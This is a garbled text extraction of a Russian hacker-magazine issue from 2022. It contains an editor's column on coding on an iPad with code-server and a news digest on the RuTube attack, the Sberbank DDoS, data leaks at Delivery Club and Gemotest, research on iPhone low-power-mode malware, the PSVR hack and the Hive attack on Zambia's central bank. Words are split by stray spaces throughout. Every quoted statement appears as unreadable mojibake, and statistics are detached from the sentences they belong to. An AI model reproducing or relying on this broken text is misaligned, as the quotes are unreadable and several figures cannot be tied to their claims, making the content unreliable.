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Два месяца назад я ока зал ся без дес кто па и решил
заменить его айпа дом с кла виату рой. Сегод ня я вкрат це
рас ска жу о сво их прик лючени ях и о том, мож но ли кодить
на айпа де (спой лер: мож но!). Если про дук ция Apple тебя
раз дра жает, сме ло про ходи мимо. Или не про ходи, если все
же хочешь узнать о таком ред ком явле нии, как новая раз- 
новид ность компь юте ров.

Каж дый раз, как я начинаю рас ска зывать в «Хакере» о сво их рабочих сетапах,
это вызыва ет у некото рых читате лей жес ткое непони мание: какого чер та глав- 
ред такого жур нала поль зует ся не обкле енным кру тыми нак лей ками ноутом
Lenovo с Kali или хотя бы Manjaro?! При чина прос та — мои рабочие задачи
лежат в основном в плос кости написа ния писем и работы с докумен тами,
а воз можность поковы рять ся в коман дной стро ке — это при ятный факуль- 
татив.

Весь прош лый год моей рабочей лошад кой был Mac Mini на M1 с внеш ним
монито ром. Но пару месяцев назад я совер шил серь езную оплошность: слу- 
чай но отпра вил монитор на склад в Санкт-Петер бурге, а сам уехал на дачу
в Рос тов скую область. Ког да я стал раз бирать при ехав шие на гру зови ке
короб ки, обна ружил ся толь ко сис темник. Можешь себе пред ста вить мой
вопль ужа са и отча яния!

Выл и заламы вал руки я, впро чем, недол го. Меня к тому момен ту уже
посеща ла мысль вре мен но отжать у суп руги новень кий iPad Pro 12.9, куп- 
ленный для рисова ния, при обрести к нему Magic Keyboard и поп робовать
порабо тать как за ноут буком. Вот и повод нашел ся!

По нача лу ощу щения от айпа да с кла виату рой и мышью очень стран ные.
Как буд то ты при помощи гряз ного хака влез со сво им кур сором внутрь экра- 
на. Но сто ит нем ного при вык нуть, и понима ешь, что это какой-то совер шенно
дру гой, новый и неиз ведан ный компь ютер.

Я опа сал ся, что отсутс твие тра дици онных окон будет прег радой для про- 
дук тивной работы. Нап расно! Пос ледние улуч шения в iPad OS неп лохо реша- 
ют эту проб лему. Навер ху у каж дого при ложе ния — кноп ка «три точ ки», клик
по которой выводит меню перек лючения в режимы Split View и Slide Over: раз- 
деление пополам или пла вающее окош ко.

Эти фичи не прос то хорошо работа ют, а дела ют жон гли рова ние задача ми
иног да даже более удоб ным, чем в сис теме с перек рыва ющи мися окна ми.
Некото рая ско ван ность ком пенси рует ся тем, что боль ше не нуж но искать
окна гла зами, регули ровать их раз меры и рас положе ние.

Вно шу изме нения в финаль ную вер сию тек ста на осно ве диф фа двух
чер новиков. Экран откро вен но мал, но работать мож но

Проб лемы, впро чем, тоже встре чают ся. Пока что далеко не все прог раммы
хорошо адап тирова ны для кла виату ры и тач пада. И один из глав ных наруши- 
телей — это Telegram. В силу каких-то внут ренних проб лем он вре мя от вре- 
мени перес тает реаги ровать на кли ки, сде лан ные кур сором мыши, и глю чит
от поворо та экра на.

В дру гих прог раммах тоже попада ются мел кие проб лемки. В целом
отличный поч товик Spark досаж дает тем, что то и дело не хочет копиро вать
текст по Cmd-C. Или, к при меру, прек расный блок нот для заметок  в вер- 
сии для iOS не под держи вает поиск по тек сту: жмешь Cmd-F и удив ляешь ся,
что ничего не про исхо дит. iA Writer, замеча тель ный редак тор Markdown, так
и норовит упасть и потерять часть дан ных, если ты вдруг взду мал открыть
еще один документ в дру гом окне.

Bear

За то я по дос тоинс тву оце нил мощь кноп ки Share, которая есть поч ти
на каж дом экра не каж дого при ложе ния для iOS. Дан ные лег ко переда ются
из прог раммы в прог рамму (или даже в свой скрипт) без вся кой нуж ды в фай- 
лах или рабочем сто ле. Думаю, мне будет это го не хва тать, ког да я наконец
заполу чу свой дес ктоп обратно.

Как ты уже понял, жон гли ровать орга най зерами, поч товика ми и докумен- 
тами в iPad OS — не проб лема. А что нас чет хакер ских делишек? И мож но ли
кодить?

Ко дить мож но! При чем не огра ничи ваясь , Codea, 
, Shortcuts и про чими род ными для айпа да метода ми. И даже пор- 

татив ные ник сы вро де  и a-Shell — вов се не пре дел меч таний.

Pythonista Swift
Playgrounds

iSH
Как вари ант, мож но исполь зовать Raspberry Pi или уда лен ный сер вер

по SSH и уста новить на них все, что душа пожела ет, вклю чая Vim или Emacs,
а так же пол ный набор хак тулз.

INFO

Поль зовате лям Vim важ но знать, что у Magic
Keyboard нет кноп ки Escape, как и все го вер хне го
ряда F-кла виш. Но положе ние не без выход ное:
мож но переназ начить Escape на Caps Lock или на
кноп ку «гло бус». У меня, впро чем, на кап сло ке
перек лючение рас клад ки, а на «гло бусе» — выбор
эмод зи. Нуж ды в эскей пе в самой iPad OS я пока
не встре чал.

Еще я вспом нил, что сущес тву ют облачные IDE, и решил поп робовать 
и . Оба вари анта впол не рабочие, осо бен но если ты занима ешь ся
бэкен дами. Оба дают дос туп к мно жес тву язы ков и фрей мвор ков, поз воля ют
ста вить модули и дают дос туп к коман дной стро ке. Увы, оба подол гу запус-
кают про екты из-за того, что пос тоян но норовят погасить твой кон тей нер
и при сле дующем запус ке собира ют его заново.

repl.it
Glitch

И тут наш лось решение еще кру че — это VS Code! Да-да, тот самый VS
Code, который сей час стал прог раммист ским стан дартом де-фак то. Неуре- 
зан ный и с пол ной под дер жкой рас ширений! Как такое воз можно в iOS? Дело
в том, что VS Code — это, по сути, веб-при ложе ние, упа кован ное в Chromium.
Нич то не меша ет уста новить его на свой сер вер и открыть в бра узе ре.

Та кая вер сия VS Code уже сущес тву ет. Она называ ется  и ста- 
вит ся бук валь но одной коман дой. Пос ле это го ты откры ваешь стра ницу
и работа ешь с самым обыч ным VS Code. Никаких проб лем и хит ростей —
раз ве что нуж но обя затель но нас тро ить HTTPS.

code-server

Здесь дос тупен пол ноцен ный тер минал, при чем он про дол жает выпол нять
коман ды, даже если зак рыть стра ницу. Интерфейс отзывчи вый, пос коль ку
целиком заг ружа ется в бра узер, а меж ду кли ентом и сер вером пересы лают ся
толь ко необ ходимые дан ные. Для ком фор тной работы понадо бит ся ста биль- 
ное соеди нение, но необя затель но быс трое.

Не исклю чаю, что я бы дер жал code-server на сво ей VPS, даже если бы
не пытал ся выживать с айпа дом подоб но Робин зону Кру зо на необи таемом
остро ве. Под купа ет лег кость, с которой мож но открыть свой про ект с любого
компь юте ра и кодить или пра вить кон фиги пря мо на сер вере. Хотя нор маль- 
ный спо соб в таком слу чае — это все же VS Code Server.

WWW

 — энтер прайз-вер сия code-server,
соз данная его раз работ чиками.

•Сoder.com

 — бра узер ная вер сия VS Code,
раз верну тая коман дой раз работ чиков
из Microsoft. Работа ет толь ко в деморе жиме.

•VSCode.dev

 — офи циаль ный ком понент VS
Code для уда лен ной работы с кодом (в этом
вари анте VS Code выс тупа ет кли ентом).

•VS Code Server

Не запутай ся!

Ну и напос ледок посове тую софт, который дела ет вся кое гиковс тво на айпа де
при ятнее и веселее:  (его сто ит пос тавить уже толь ко ради
появ ления под дер жки SFTP в Files), рас ширение  для Safari,
редак тор  и инс тру мент  — для раз бора боль ших фай лов
в JSON.

тер минал Blink
Web Inspector

Runestone Jayson

 На май 2022 года упо мяну тые в тек сте при ложе ния Spark,
Codea и a-Shell недос тупны в рос сий ском App Store. О при чинах ты можешь
догадать ся сам или узнать у раз работ чиков. Популяр ней шее при ложе ние
Documents, которым я откры ваю архи вы 7zip и RAR, пос тигла та же судь ба.

Ïðè ìå÷à íèå.
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В этом месяце: в праз дни ки RuTube ата кова ли хакеры,
у Delivery Club и «Гемотес та» утек ли поль зователь ские дан- 
ные, иссле дова тели взло мали PlayStation VR и Tesla, авто ром
шиф роваль щиков Jigsaw и Thanos ока зал ся 55-лет ний врач,
хак-груп па Conti прек ратила работу, а в Microsoft Office наш- 
ли опас ную уяз вимость Follina.

АТАКА НА RUTUBE
9 мая 2022 года рос сий ский виде охос тинг RuTube пос тра дал от хакер ской
ата ки, ответс твен ность за которую взя ли на себя Anonymous. В СМИ появи- 
лись сооб щения о том, что сайт вооб ще не под лежит вос ста нов лению и 90%
бэкапов пов режде ны, одна ко 11 мая RuTube вер нулся в строй, а рас сле дова- 
нием слу чив шегося занялась коман да спе циалис тов экспертно го цен тра
безопас ности Positive Technologies (PT Expert Security Center).

Ата ка на сер вис про изош ла рано утром 9 мая. Как сооб щалось в офи- 
циаль ном Telegram-канале RuTube: «кто-то изо всех сил пытал ся помешать
нам про вес ти тран сля цию глав ного события сегод няшне го дня — Парада
Победы». Так же пред ста вите ли сер виса наз вали про изо шед шее круп ней шей
кибера такой в исто рии сер виса, заяв ляя, что RuTube «заказа ли».

«

»

«RUTUBE ïîä òâåðæäà åò, ÷òî òðåòü èì ëèöàì íå óäà ëîñü ïîëó÷èòü äîñ-

òóï ê âèäå îàð õèâó. Âñÿ áèá ëèîòå êà, âêëþ ÷àÿ ïîëü çîâàòåëü ñêèé êîí- 

òåíò, ïî‑ïðåæ íåìó ñîõ ðàíåíà íà ñåð âèñå. Ñåé ÷àñ âåäóò ñÿ ðàáîòû

ïî âîñ ñòà íîâ ëåíèþ èíôðàñòðóê òóðû âèäå îîò äà÷è», — ïèñàëè ïðåä ñòà- 

âèòå ëè RuTube.

Вмес те с этим Anonymous заяви ли в Twitter, что это они взло мали сер вис
и нанес ли серь езный ущерб плат форме: яко бы в ходе ата ки пос тра дали
или были унич тожены 75% баз и инфраструк туры основной вер сии сай та
и 90% бэкапов и клас теров для вос ста нов ления БД.

В то же вре мя изда ние The Village (изда ние заб локиро вано Рос комнад зором
на тер ритории РФ), со ссыл кой на собс твен ные источни ки, сооб щало, что
ата ки начались око ло пяти утра 9 мая и в резуль тате был «пол ностью уда лен
код сай та», а виде осер вис теперь вооб ще «не под лежит вос ста нов лению».

«

»

«Îáû÷ íî íà òàêîé ñëó ÷àé ïðå äóñ ìîòðå íû áýêàïû, íî â êîí êðåò íîé

ñèòó àöèè ïðîá ëåìà, âèäèìî, â òîì, ÷òî â ñåð âèñå äî ñèõ ïîð

íå ïîíèìà þò, èìå åò ëè ïî‑ïðåæ íåìó õàêåð äîñ òóï ê ñèñ òåìå èëè óæå

íåò. Âèäå îêîí òåíò â ðåçóëü òàòå àòà êè íå ïîñ òðà äàë. Ïî ìíå íèþ

èñòî÷íè êà, òàêàÿ êèáåðà òàêà ñòà ëà âîç ìîæíà èç‑çà óòå÷ êè êîäîâ äîñ- 

òóïà ê ñàé òó», — ïèñàëè æóð íàëèñ òû.

Пред ста вите ли RuTube быс тро опро вер гли эти заяв ления, заверив, что
исходный код не был уте рян:

«

»

«Èíôîðìà öèÿ îòíî ñèòåëü íî óòå ðè èñõîäíî ãî êîäà ñàé òà íå ñîîò âåòñ- 

òâó åò äåé ñòâè òåëü íîñ òè. Ìû è ïðàâ äà ñòîë êíó ëèñü ñ ñàìîé ñèëü íîé

êèáåðà òàêîé çà âñþ èñòî ðèþ ñóùåñ òâî âàíèÿ RUTUBE. 

  

Âàæ íî ïîíèìàòü, ÷òî âèäå îõîñ òèíã — ýòî ïåòàáàé òû äàí íûõ àðõè âîâ

è ñîò íè ñåð âåðîâ. Âîñ ñòà íîâ ëåíèå ïîò ðåáó åò áîëü øå âðå ìåíè, ÷åì

èçíà ÷àëü íî ïðåä ïîëàãà ëè èíæå íåðû. Îäíà êî ìðà÷ íûå ïðîã íîçû

íå èìå þò íè÷åãî îáùå ãî ñ íàñ òîÿùèì ïîëîæå íèåì äåë: èñõîäíûé êîä

äîñ òóïåí, áèá ëèîòå êà öåëà. Ñåé ÷àñ èäåò ïðî öåññ ïî âîñ ñòà íîâ ëåíèþ

ñåã ìåíòîâ ôàé ëîâîé ñèñ òåìû óäà ëåí íûõ ñðåä è áàç íà ÷àñ òè ñåð-

âåðîâ».

11 мая 2022 года виде охос тинг наконец вер нулся в онлайн, пос ле чего,
по сло вам гла вы RuTube Алек сан дра Моисеева, на плат форме про води лось
«наг рузоч ное тес тирова ние и допол нитель ная про вер ка на уяз вимость». Кро- 
ме того, к рас сле дова нию про изо шед шего и для устра нения пос ледс твий
ата ки к делу были прив лечены нес коль ко экспертных команд, в час тнос ти
коман да спе циалис тов экспертно го цен тра безопас ности Positive
Technologies (PT Expert Security Center).

По дан ным коман ды RuTube, по сос тоянию на 26 мая 2022 года виде охос- 
тинг прак тичес ки пол ностью вос ста новил свою фун кци ональ ность, вклю чая
ста биль ную работу сай та, Smart TV, ком мента риев, заг рузку видео, про веде- 
ние стри мов. Одна ко под черки вает ся, что «вос ста нов ление еще про дол жает- 
ся».

 ХАКЕРОВ ПРОТИВ «СБЕРБАНКА»100 000

Ви це-пре зидент и дирек тор депар тамен та кибер безопас ности «Сбер банка» Сер гей Лебедь
рас ска зал, что пос ле 24 фев раля наб люда ется взрыв ной рост кибера так на рос сий ские ком- 
пании, при этом их мощ ности уве личи лись кар диналь но.

По его сло вам, 6 мая 2022 года «Сбер банк» отра зил самую мощ ную DDoS-ата ку в сво ей исто- 
рии: она была нап равле на на сайт бан ка, а вре донос ный тра фик, сге нери рован ный бот нетом,
исхо дил от  устрой ств из Тай ваня, США, Япо нии и Великоб ритании. Мощ ность ата ки
сос тавила более  Гбайт/с.

27 000
450

Так же Лебедь заявил, что общая чис ленность хакеров, дей ству ющих про тив «Сбер банка», сей- 
час пре выша ет  человек, а в мар те спе циалис ты фик сирова ли до  одновре мен ных
DDoS-атак, нацелен ных на раз ные сер висы бан ка.

100 000 46

УТЕЧКИ, УТЕЧКИ
Май выдал ся уро жай ным на все воз можные утеч ки дан ных, и эта проб лема
зат ронула в том чис ле и рос сий ские сер висы. Погово рим о наибо лее замет- 
ных сли вах это го месяца.

ßíäåêñ Åäà è âñå-âñå-âñå

Сайт, ранее рас простра няв ший утек шие дан ные поль зовате лей Яндекс Еды
в фор мате инте рак тивной кар ты, попол нился новыми базами, вклю чая
ГИБДД, СДЭК, Avito, Wildberries, «Билайн» и дру гие источни ки.

На пом ню, что сайт с инте рак тивной кар той  в мар те
текуще го года. Тог да пред ста вите ли Яндекса под твер дили факт утеч ки и пре- 
дуп редили, что в руки треть их лиц попали телефо ны кли ентов и информа ция
об их заказах: сос тав, вре мя дос тавки и так далее. Сооб щалось, что дан ные
утек ли из-за «недоб росовес тных дей ствий» одно го из сот рудни ков.

по явил ся в сети

В середи не мая этот ресурс обно вил ся и теперь пред лага ет посети телям
все ту же инте рак тивную кар ту, одна ко про фили поль зовате лей вклю чают дан- 
ные не толь ко Яндекс Еды, но и ГИБДД, СДЭК, Avito, Wildberries, «Билай на»
и дру гих источни ков. Это адре са, номера телефо нов, VIN-номера авто моби- 
лей и дру гие дан ные поль зовате лей сер висов.

Кро ме того, на сай те появи лись спис ки пуб личных людей и объ еди нен ная
информа ция по ним. Жур налис ты обна ружи ли, что в эти спис ки попали
номера телефо нов и адре са Ксе нии Соб чак, Свет ланы Кри воно гих, которую
СМИ называ ли «близ кой зна комой» Вла дими ра Путина (пресс-сек ретарь
пре зиден та Дмит рий Пес ков заявил, что в Крем ле никог да не слы шали о Кри- 
воно гих), Пет ра Дерипас ки (сына биз несме на Оле га Дерипас ки) и еще око- 
ло 30 человек.

«

»

«Ìû óâè äåëè, íàñ êîëü êî öåíà íàøåé êîí ôèäåí öèàëü íîñ òè íå öåíèò ñÿ,

è ðåøèëè çàïóñ òèòü íîâóþ âåð ñèþ ñàé òà. Ñóä îøòðà ôîâàë ßíäåêñ Åäó

íà 60 òûñÿ÷ ðóá ëåé çà óòå÷ êó äàí íûõ êëè åíòîâ, òî åñòü íàøè àäðå ñà

äîñ òàâêè è ëè÷ íîñ òíûå äàí íûå ñòî ÿò 0,009 ðóá ëÿ çà ïîëü çîâàòå ëÿ

(6 397 035 ïîëü çîâàòå ëåé). 

  

Âñå áîëü øå èíôîðìà öèè ïîïàäà åò â ðóêè ïðåñ òóïíè êîâ, êîòîðîé

ìîãóò âîñ ïîëü çîâàòü ñÿ ñ öåëüþ çàïóãè âàíèÿ èëè îáìà íà. ×òî áû

ïîíèìàòü ðèñ êè, âû ìîæåòå ïðî âåðèòü, êàêàÿ ïåð ñîíàëü íàÿ èíôîðìà- 

öèÿ åñòü ó ìîøåí íèêîâ è óãî ëîâ íèêîâ», — çàÿâè ëè îïå ðàòî ðû ñàé òà.

Пред ста вите ли Яндекс Еды сооб щили СМИ, что не фик сирова ли никаких
новых инци ден тов и «пред при нима ют все воз можное, что бы миними зиро вать
рас простра нение информа ции зло умыш ленни ками». Пред ста вите ли
Wildberries заяви ли, что дан ные поль зовате лей в сох раннос ти, «бес поко ить ся
не о чем, уте чек дан ных не было». Так же опро вер гли утеч ку и в Avito, сооб щив,
что «это обыч ный пар синг».

Delivery Club

В кон це мая спе циалис ты Data Leakage & Breach Intelligence (DLBI) обна ружи- 
ли, что в про даже в дар кне те появи лась база дан ных служ бы дос тавки Delivery
Club.

Про давец утвер жда ет, что дамп содер жит 250 мил лионов строк, а опуб- 
ликован ный в откры том дос тупе обра зец содер жал 1 011 812 строк, вклю чая
такие дан ные, как име на, номера телефо нов (827 758 уни каль ных номеров),
адре са дос тавки (вклю чая код домофо на, этаж и номер подъ езда), email-
адре са (183 852 уни каль ных адре са), сос тавы заказов и их сто имость, IP-
адре са (507 673 уни каль ных адре са), а так же даты и вре мя заказов
(с 24.05.2020 по 04.07.2021).

Пред ста вите ли ком пании под твер дили утеч ку дан ных о заказах поль-
зовате лей, но под чер кну ли, что дамп не содер жит бан ков ские дан ные. Так же
в ком пании пообе щали про вес ти допол нитель ный аудит внут ренних сис тем
пос ле окон чания внут ренне го рас сле дова ния и при нес ли изви нения поль- 
зовате лям.

«Ãåìîòåñò»

Все те же экспер ты Data Leakage & Breach Intelligence (DLBI) обна ружи ли
в дар кне те и дру гой дамп: хакеры выс тавили на про дажу базу дан ных кли- 
ентов медицин ской лабора тории «Гемотест». По заяв лени ям про дав ца, база
содер жала 31 мил лион строк, вклю чая такую информа цию, как ФИО, даты
рож дения, адре са, телефо ны, email-адре са, серии и номера пас портов.

Ис сле дова тели писали, что в зак рытом дос тупе и для узко го кру га лиц эта
база появи лась еще в начале вес ны 2022 года.

Пос ле огласки утеч ки пред ста вите ли медицин ской лабора тории
«Гемотест» под твер дили в пись ме «факт хакер ской ата ки и несан кци они- 
рован ного дос тупа к информа цион ному ресур су», выяв ленные еще 22 апре ля
текуще го года.

В ком пании заяви ли, что уже обра тились в пра воох ранитель ные орга ны,
что бы уста новить и прив лечь к ответс твен ности винов ных. При этом
в «Гемотес те» под черки вают, что есть осно вания сом невать ся в дос товер- 
ности «рас простра няемой в сети интернет информа ции об объ еме име ющих- 
ся в рас поряже нии зло умыш ленни ков дан ных».

ДЕФИЦИТ ДО  ГОДА2024

В ком пании Intel рас ска зали, что, по их прог нозам, дефицит полуп ровод ников оста нет ся с нами
надол го. Если в кон це прош лого года в ком пании полага ли, что про изво дите ли нарас тят мощ- 
ности и дефицит полуп ровод никовых ком понен тов может ослабнуть к 2023 году, теперь гла ва
Intel Пэт Гел сингер (Pat Gelsinger) заявил CNBC, что рань ше 2024 года улуч шений ждать не сто- 
ить.

→ «Мы счи таем, что общая нех ватка полуп ровод ников теперь рас простра нит ся
и на 2024 год (по срав нению с нашими более ран ними прог нозами
и 2023 годом), так как теперь дефицит кос нулся обо рудо вания, из-за чего
некото рые из про изводс твен ных про цес сов будут более слож ными»,

— ска зал Гел сингер и добавил, что при этом сама Intel находит ся в луч шем положе нии, чем дру- 
гие пред ста вите ли отрасли.

МАЛВАРЬ
НА ВЫКЛЮЧЕННОМ
IPHONE
Ис сле дова тели из Дарм штадтско го тех ничес кого уни вер ситета раз работа ли
вре донос ное ПО для iPhone, которое может работать даже на вык лючен ном
устрой стве.

Все началось с того, что уче ные иссле дова ли реали зацию режима низ кого
энер гопот ребле ния (low-power mode, LPM) на iPhone и обна ружи ли, что тот
несет в себе серь езные рис ки для безопас ности и даже поз воля ет зло умыш- 
ленни кам запус кать мал варь на вык лючен ных устрой ствах. По мне нию
экспер тов, эти рис ки нель зя игно риро вать, осо бен но если речь идет о жур- 
налис тах, акти вис тах и дру гих лицах, которые могут стать мишенью
для хорошо финан сиру емых зло умыш ленни ков.

Ана лиз экспер тов выявил, что на iPhone, который работа ет под управле- 
нием iOS 15, сис темы бес про вод ной свя зи Bluetooth, NFC и ultra-wideband
(UWB) свя зи оста ются активны ми даже пос ле вык лючения устрой ства.

«

»

«×èïû Bluetooth è UWB æåñ òêî ïîä êëþ ÷åíû ê Secure Element (SE)

â ÷èïå NFC è õðà íÿò ñåê ðåòû, êîòîðûå äîë æíû áûòü äîñ òóïíû â LPM.

Ïîñ êîëü êó ïîä äåð æêà LPM ðåàëè çîâà íà àïïà ðàò íî, åå íåëü çÿ îòêëþ- 

÷èòü ïóòåì èçìå íåíèÿ ïðîã ðàì ìíûõ êîì ïîíåí òîâ. Â ðåçóëü òàòå

íà ñîâ ðåìåí íûõ iPhone áîëåå íåëü çÿ äîâåðÿòü îòêëþ ÷åíèþ áåñ ïðî- 

âîä íûõ ÷èïîâ ïîñ ëå âûê ëþ÷åíèÿ», — ãëà ñèò äîê ëàä èññëå äîâà òåëü ñêîé

ãðóï ïû.

При дя к это му выводу, иссле дова тели про вери ли работу при ложе ний,
исполь зующих LPM (нап ример, Find My), а так же оце нили их вли яние
на безопас ность железа и про шив ки.

Так как опи сан ная в док ладе ата ка все же пока толь ко кон цепт, в рам ках
сво его ана лиза экспер ты пред положи ли, что зло умыш ленник уже име ет при- 
виле гиро ван ный дос туп к про шив ке, может отправ лять спе циаль ные коман ды,
изме нять образ про шив ки или выпол нять код «по воз духу». Выяс нилось, что
если про шив ка ском про мети рова на, то у зло умыш ленни ка получит ся сох- 
ранить опре делен ный кон троль над устрой ством жер твы даже пос ле его
отклю чения, а это может быть весь ма полез но для устой чивых экс пло итов.

В слу чае с аппа рат ной сос тавля ющей иссле дова тели пред положи ли, что
зло умыш ленник не может ском про мети ровать железо нап рямую. Тог да они
сос редото чились на опре деле нии того, какие ком понен ты могут быть вклю- 
чены без ведома поль зовате ля и какие при ложе ния могут быть исполь зованы.

В отче те под робно рас ска зыва ется, как мож но изме нить про шив ку
Bluetooth LPM для запус ка вре донос ных прог рамм на iPhone 13, даже если
устрой ство вык лючено. Уче ные объ ясня ют, что подоб ная ата ка воз можна
из-за того, что про шив ка не под писана и не зашиф рована, а для чипа
Bluetooth даже не вклю чена безопас ная заг рузка.

Эк спер ты полага ют, что Apple сле дует добавить в свои устрой ства некий
аппа рат ный перек лючатель для отклю чения батареи, что дол жно улуч шить
ситу ацию. Так же иссле дова тель ская груп па опуб ликова ла в откры том дос тупе
опен сор сные инс тру мен ты  и , которые мож но исполь- 
зовать для ана лиза и модифи кации про шивок.

InternalBlue Frankenstein

Ис сле дова тели говорят, что сооб щили о сво их выводах инже нерам Apple,
одна ко так и не получи ли от ком пании никаких ком мента риев.

ПРОДАЖИ NFT УПАЛИ НА 92%

The Wall Street Journal и ана лити ки ком пании NonFungible под счи тали, что рынок нев заимо- 
заме няемых токенов (NFT) «рушит ся», так как про дажи упа ли на  по срав нению с исто- 
ричес ким мак симумом в сен тябре 2021 года.

92%

В сред нем про дажи токенов сок ратились до  в день, по срав нению с осенью прош лого
года, ког да NFT про дава лись по 225 тысяч в день.

19 000

Ко личес тво про даж NFT (оран жевая линия) и активных кошель ков (белая линия)

Со обща ется, что вмес те с про дажа ми на  упа ло и количес тво активных кошель ков, свя зан- 
ных с этим рын ком: с  в нояб ре 2021 года до  в апре ле 2022 года.

88%
119 000 14 000

Сни жение инте реса под твержда ет и ста тис тика Google Trends, сог ласно которой количес тво
свя зан ных с NFT зап росов упа ло на  с янва ря 2022 года.80%

Продолжение статьи →

mailto:nefedova@glc.ru
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https://github.com/seemoo-lab/internalblue
https://github.com/seemoo-lab/frankenstein
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ВЗЛОМ PLAYSTATION
VR
Учас тни ки извес тной хакер ской коман ды Fail0verow сооб щают, что обна- 
ружи ли серию уяз вимос тей в гар нитуре PSVR (PlayStation VR). В ито ге им уда- 
лось сде лать дамп всех аппа рат ных сек ретных клю чей и взло мать механизм
аутен тифика ции PSVR.

Чле ны Fail0verow рас ска зыва ют, что начали изу чать PSVR как потен циаль- 
ную точ ку вхо да для взло ма PS4 или PS5, так как взлом кон солей оста нет ся
для коман ды пер вооче ред ной задачей.

О проб лемах PlayStation VR в бло ге коман ды рас ска зал ps5_enthusiast. Он
объ ясня ет, что некото рые фун кции, дос тупные через интерфейс PCIe, поз- 
волили рас шифро вать и ско пиро вать образ про шив ки в дос тупную для чте ния
память. Это при вело к тому, что уда лось получить дос туп ко всем клю чам
PSVR, которые хра нились в выг ружен ных Trusted Applications.

Кро ме того, коман да сумела извлечь аппа рат ные сек реты через уяз вимос- 
ти в FIGO (защищен ный соп роцес сор Marvell 88DE3214 SoC).

В Fail0verow приз нают, что в ито ге они не ста ли исполь зовать механизм
аутен тифика ции PSVR в качес тве точ ки вхо да для даль нейше го взло ма
PS4 или PS5. Так же в груп пе под чер кну ли, что прог ресс взло ма PS5, 

 осенью прош лого года, так же не был свя зан с иссле дова нием PSVR.
дос- 

тигну тый
Те перь наработ ки Fail0verow дадут дру гим энту зиас там воз можность

исполь зовать любое прог рамми руемое устрой ство в качес тве гар нитуры
PSVR для упо мяну тых кон солей и «копать» даль ше, так как, веро ятно,
это поможет обна ружить боль ше полез ной информа ции или ста нет точ кой
вхо да для даль нейше го повыше ния при виле гий.

НОВЫЙ DDOS-РЕКОРД
Не наз ванная крип товалют ная плат форма недав но под вер глась одной из круп ней ших DDoS-атак
в исто рии, чья мощ ность дос тигала  зап росов в секун ду (request-per-second, RPS),
рас ска зали спе циалис ты Cloudare.

15,3 млн

От чет ком пании гла сит, что ата ка дли лась менее  и была запуще на бот нетом,

сос тоящим при мер но из  уни каль ных ботов из  стран мира.

15 секунд
6000 112

Поч ти  тра фика приш ло из , а так же в ата ке учас тво вали устрой ства из 
, , ,  и .

15% Ин донезии Рос- 
сии Бра зилии Ин дии Ко лум бии США

Рас пре деле ние тра фика по стра нам

Под черки вает ся, что ата ка в основном исхо дила из дата-цен тров, более чем из  раз- 
личных сетей, в том чис ле немец кого про вай дера Hetzner Online GmbH (ANS 24940), Azteca
Comunicaciones Colombia (ASN 262186), OVH во Фран ции (ASN 16276).

1300

ДИКПИКИ ОТ БАНКА
Не дав но Банк Зам бии, цен траль ный банк стра ны, под вер гся хакер ской ата ке.
По информа ции СМИ и ИБ-экспер тов, за этим инци ден том сто яла небезыз- 
вес тная вымога тель ская хак-груп па Hive. Одна ко пос тра дав ший банк не толь- 
ко отка зал ся пла тить зло умыш ленни кам выкуп, но и выс меял их, а так же прис- 
лал фото муж ских генита лий.

Сог ласно офи циаль ному пресс-релизу зам бий ско го цен тро бан ка, ата ка
про изош ла 9 мая 2022 года и пос ле нее наб людались «час тичные сбои
в некото рых ИТ-при ложе ниях». Так же сооб щалось, что инци дент зат ронул
некото рые сис темы бан ка, вклю чая сис тему монито рин га обме на валют
и офи циаль ный сайт.

«
»

«Õîòèì ñîîá ùèòü, ÷òî ñ òåõ ïîð ðàáîòà ýòèõ ñèñ òåì áûëà ïîë íîñòüþ

âîñ ñòà íîâ ëåíà», — ïîä ÷åðêè âàëîñü â îôè öèàëü íîì çàÿâ ëåíèè.

Вряд ли взлом Бан ка Зам бии заин тересо вал бы кого-либо за пре дела ми
стра ны, но изда ние Bleeping Computer сооб щило, что ответс твен ность за слу- 
чив шееся взя ла на себя вымога тель ская груп пиров ка Hive. Хакеры утвер жда- 
ли, что зашиф ровали NAS в сети бан ка, и пот ребова ли выкуп за вос ста нов- 
ление дан ных.

Но самое инте рес ное зак люча ется в том, что, по информа ции жур налис- 
тов, во вре мя перего воров с хакера ми вмес то вып латы выкупа пред ста вите ли
Бан ка Зам бии выс меяли ник пред ста вите ля груп пиров ки (14m3-sk1llz),
а затем отпра вили зло умыш ленни кам фото муж ских генита лий с ком мента- 
рием: «Отсо сите и перес тань те бло киро вать бан ков ские сети, счи тая, что вы
смо жете что-то монети зиро вать, [сна чала] научи тесь монети зиро вать».

Ког да в редак ции Bleeping Computer впер вые уви дели эту перепис ку, было
выс казано пред положе ние, что в чат для перего воров про ник ли пос торон ние,
ведь такое не раз слу чалось в прош лом.

Од нако вско ре пос ле это го жур налис ты Bloomberg, со ссыл кой на тех- 
ничес кого дирек тора бан ка Гре га Нсо фу, сооб щили, что основные сис темы
бан ка защище ны и пред ста вите лям зам бий ско го цен тро бан ка боль ше нет
нуж ды вза имо дей ство вать со зло умыш ленни ками. При этом Нсо фу откры то
сооб щил, что пред ста вите ли бан ка уже «пос лали зло умыш ленни ков»
по извес тно му адре су, тем самым под твер див, что банк все же учас тво вал
в перего ворах и, похоже, дей стви тель но отправ лял хакерам дик пики.

 РОССИЯН ИСПОЛЬЗУЮТ VPN ДЛЯ СОЦСЕТЕЙ25%

Сог ласно иссле дова нию, про веден ному бан ком «Откры тие»,  рос сиян исполь зуют VPN
и таким обра зом про дол жают посещать заб локиро ван ные в Рос сии соци аль ные сети Facebook
и Instagram (заб локиро ваны в Рос сии, при над лежат кор порации Meta, приз нанной экс тре мист- 
ской орга низа цией, зап рещен ной на тер ритории РФ). Наиболь шее чис ло таких поль зовате лей
наб люда ется на Ура ле ( ), а так же в Мос ков ском реги оне ( ).

25%

32% 30%

При этом еще треть рес понден тов ( ) сок ратила посеще ние этих сер висов из-за необ- 
ходимос ти поль зовать ся VPN, а  опро шен ных сооб щили, что перес тали поль зовать ся ими
прин ципи аль но. Чаще все го такой ответ давали жители Санкт-Петер бурга и Ленин градской
области ( ), реже все го — Север ного Кав каза ( ) и Даль него Вос тока ( ).

30%
39%

48% 24% 31%

ВРАЧ-ХАКЕР
ИЗ ВЕНЕСУЭЛЫ
Аме рикан ские влас ти заяви ли, что 55-лет ний кар диолог с фран цуз ским
и венесу эль ским граж данс твом, про жива ющий в Венесу эле, Мой зес Луис
Загала Гон салес (Moises Luis Zagala Gonzalez), соз дал и сда вал в арен ду дру- 
